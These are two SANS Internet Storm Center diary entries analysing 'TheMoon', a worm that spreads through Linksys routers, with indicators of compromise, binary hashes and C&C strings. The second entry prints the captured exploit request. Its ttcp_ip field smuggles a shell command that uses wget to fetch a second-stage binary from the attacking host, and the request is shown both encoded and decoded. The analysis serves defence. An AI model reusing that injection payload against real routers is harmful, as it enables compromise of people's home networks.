Linksys Worm "TheMoon" Summary: What we know so far

Published: 2014-02-13
Last Updated: 2014-02-13 18:37:18 UTC
by Johannes Ullrich (Version: 1)
20 comment(s)

I am writing this summary as the prior diaries about this topic became a bit difficult to parse. 

At this point, we are aware of a worm that is spreading among various models of Linksys routers. We do not have a definite list of routers that are vulnerable, but the following routers may be vulnerable depending on firmware version: E4200, E3200, E3000, E2500, E2100L, E2000, E1550, E1500, E1200, E1000,E900

The worm will connect first to port 8080, and if necessary using SSL, to request the "/HNAP1/" URL. This will return an XML formatted list of router features and firmware versions. The worm appears to extract the router hardware version and the firmware revision. The relevant lines are:

<ModelName>E2500</ModelName>
<FirmwareVersion>1.0.07 build 1</FirmwareVersion> 

(this is a sample from an E2500 router running firmware version 1.0.07 build 1)

Next, the worm will send an exploit to a vulnerable CGI script running on these routers. The request does not require authentication. The worm sends random "admin" credentials but they are not checked by the script. Linksys (Belkin) is aware of this vulnerability.

This second request will launch a simple shell script, that will request the actual worm. The worm is about 2MB in size, samples that we captured so far appear pretty much identical but for a random trailer at the end of the binary. The file is an ELF MIPS binary.

Once this code runs, the infected router appears to scan for other victims. The worm includes a list of about 670 different networks (some /21, some /24). All appear to be linked to cable or DSL modem ISPs in various countries.

An infected router will also serve the binary at a random low port for new victims to download. This http server is only opened for a short period of time, and for each target, a new server with a different port is opened. 

We do not know for sure if there is a command and control channel yet. But the worm appears to include strings that point to a command and control channel. The worm also includes basic HTML pages with images that look benign and more like a calling card. They include images based on the movie "The Moon" which we used as a name for the worm.

We call this a "worm" at this point, as all it appears to do is spread. This may be a "bot" if there is a functional command and control channel present.

Indicators of compromisse:

- heavy outbound scanning on port 80 and 8080.
- inbound connection attempts to misc ports < 1024.
 

Detecting potentially vulnerable system:

echo "GET /HNAP1/ HTTP/1.1\r\nHost: test\r\n\r\n" | nc routerip 8080

if you get the XML HNAP output back, then you MAY be vulnerable.

 

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

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Linksys Worm ("TheMoon") Captured

Published: 2014-02-13
Last Updated: 2014-02-13 18:06:36 UTC
by Johannes Ullrich (Version: 1)
18 comment(s)

Assistance needed:

  • If you have a vulnerable device that is infected, we could use full packet captures from that device. I am still trying to find out more about the command and control channel (if it exists).
  • if you have experience reverse engineering MIPS malware, ask me for a sample (use the contact form.)

One important update: This affects other Linksys routers as well. For example, we do have some routers conecting to the honeypot that identify themselves as E2500 (Firmware 1.0.03 build 4)

Finally our honeypot did capture something that looks like it is responsible for the scanning activity we see:

The initial request, as discussed earlier, is:

GET /HNAP1/ HTTP/1.1
Host: [ip of host]:8080
 
The next request is where it gets interesting:
 
POST /[withheld].cgi HTTP/1.1
Host: [ip of honeypot]:8080
User-Agent: Mozilla/4.0 (compatible; MSIE 4.01; Mac_PowerPC)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://[ip of honeypot]:8080/
Authorization: Basic YWRtaW46JmkxKkBVJDZ4dmNH    <- username: admin   password: &i1*@U$6xvcG 
   (still trying to figure out the significance of this password)
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 518

%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63
%74%69%6f%6e%3d&%73%75%62%6d%69%74%5f%74%79%70%65%3d&%61%63%74%69%6f
%6e%3d&%63%6f%6d%6d%69%74%3d%30&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74
%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63
%64%20%2f%74%6d%70%3b%69%66%20%5b%20%21%20%2d%65%20%2e%4c%32%36%20
%5d%3b%74%68%65%6e%20%77%67%65%74%20%68%74%74%70%3a%2f%2f%xx%xx%2e
%xx%xx%xx%2e%xx%xx%xx%2e%xx%xx%xx%3a%31%39%33%2f%30%52%78%2e%6d%69
%64%3b%66%69%60&%53%74%61%72%74%45%50%49%3d%31
 
The decoded version of this request:

submit_button=&change_action=&submit_type=&action=&commit=0&ttcp_num=2&ttcp_size=2
&ttcp_ip=-h
    `cd /tmp;if [ ! -e .L26 ];then wget http://[source IP]:193/0Rx.mid;fi`
&StartEPI=1

So it looks like it will try to download a "second stage" from port 193 from the attacking router. The ".L26" file appears to be a lock file to prevent multiple exploitation. 

I am withholding the full URL for now until I can figure out if there is a patch or if this is a public/known exploit.

The port appears to change but is always < 1024. The second stage binary si always three letters and then a "random" extension.

 

Here are the MD5s of some of the binaries I retrieved so far. They are ELF binaries . If anybody would like to assist in reversing them, please contact me for a sample.

d9547024ace9d91037cbeee5161df33e  0dQ.png
a85e4a90a7b303155477ee1697995a43  Dsn.raw
88a5c5f9c5de5ba612ec96682d61c7bb  EXr.pdf
ef19de47b051cb01928cab1a4f3eaa0e  Osn.asc

file type: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped

I am going to update this diary a bit blow-by-blow like as I am getting to reverse parts of the second stage.
 
- The binary includes a set of hard coded netblocks (/24 and /21) which are likely the blocks it scans. 
- there are also hardcoded dyndyn.org host names. Not sure yet what they are for (C&C?): azlan281.dyndns.org, littlefrog.dyndns.org, charinalg06.dyndns.org, xplunk.dyndns-home.com and more.
- just based on "strings" still, it looks like there is a command and control channel use to report back the status of the host.
- a list of user agents:
Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)
Mozilla/2.0 (compatible; MSIE 3.0B; Win32)
Mozilla/4.0 (compatible; MSIE 4.01; Mac_PowerPC)
Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.0.3705)
Mozilla/4.0 (compatible; MSIE 6.0; Win32) WebWasher 3.0
Mozilla/4.0 (compatible; Opera/3.0; Windows 4.10) 3.51 [en]
Mozilla/5.0 (compatible; Konqueror/2.2.2; Linux 2.4.14-xfs; X11; i686)
Mozilla/5.0 (compatible; SnapPreviewBot; en-US; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9
Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/xxx.x (KHTML like Gecko) Safari/12x.x
Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.0.1) Gecko/20030306 Camino/0.7
Opera/9.60 (Windows NT 5.1; U; de) Presto/2.1.1
Opera/9.0 (Windows NT 5.1; U; en)
Mozilla/5.0 Galeon/1.0.2 (X11; Linux i686; U;) Gecko/20011224
Opera/6.x (Linux 2.4.8-26mdk i686; U) [en]
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008092215 Firefox/3.0.1 Orca/1.1 beta 3
Mozilla/5.0 (X11; Linux i686; U;rv: 1.7.13) Gecko/20070322 Kazehakase/0.4.4.1
 
- a list of server banners:
Apache/2.2.9 (Fedora)
Apache/1.3.3 (Unix)  (Red Hat/Linux)
Apache/1.3.23
Microsoft-IIS/5.0
nginx
Microsoft-IIS/5.1
Netscape-Enterprise/4.1
Microsoft-IIS/6.0
Apache/2.2.24 (Amazon)
Sun-ONE-Web-Server/6.1
Microsoft-IIS/7.5
IBM_HTTP_Server
 
Extensions and media types used for the 2nd stage files:
 
application/pdf
.pdf
image/png
image/gif
.gif
image/jpeg
.jpg
image/bmp
.bmp
image/tiff
.tif
audio/ac3
.ac3
audio/asc
.asc
audio/ogg
.ogg
audio/midi
.mid
audio/mpeg
.mpg
video/mpeg
video/avi
.avi
video/raw
.raw
 
The binary is linked against OpenSSL, so the C&C channel could use SSL.
 
The binary also includes a couple of images (thanks Peter for pointing that out). The creation date of the images is May 9th 2013. They appear to be logos identifying the author? There are a total of 5 PNG images. 3 smilies and 2 logos. I am including the larger logo below. There are a number of strings with references to "lunar", "moon", "planets" that appear to be used as part of the C&C channel.
 
 
The reference to "Lunar Industries" and the logo appears to be a reference to the movie "The Moon" http://www.imdb.com/title/tt1182345/
 

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

18 comment(s)
ISC StormCast for Thursday, February 13th 2014 http://isc.sans.edu/podcastdetail.html?id=3842

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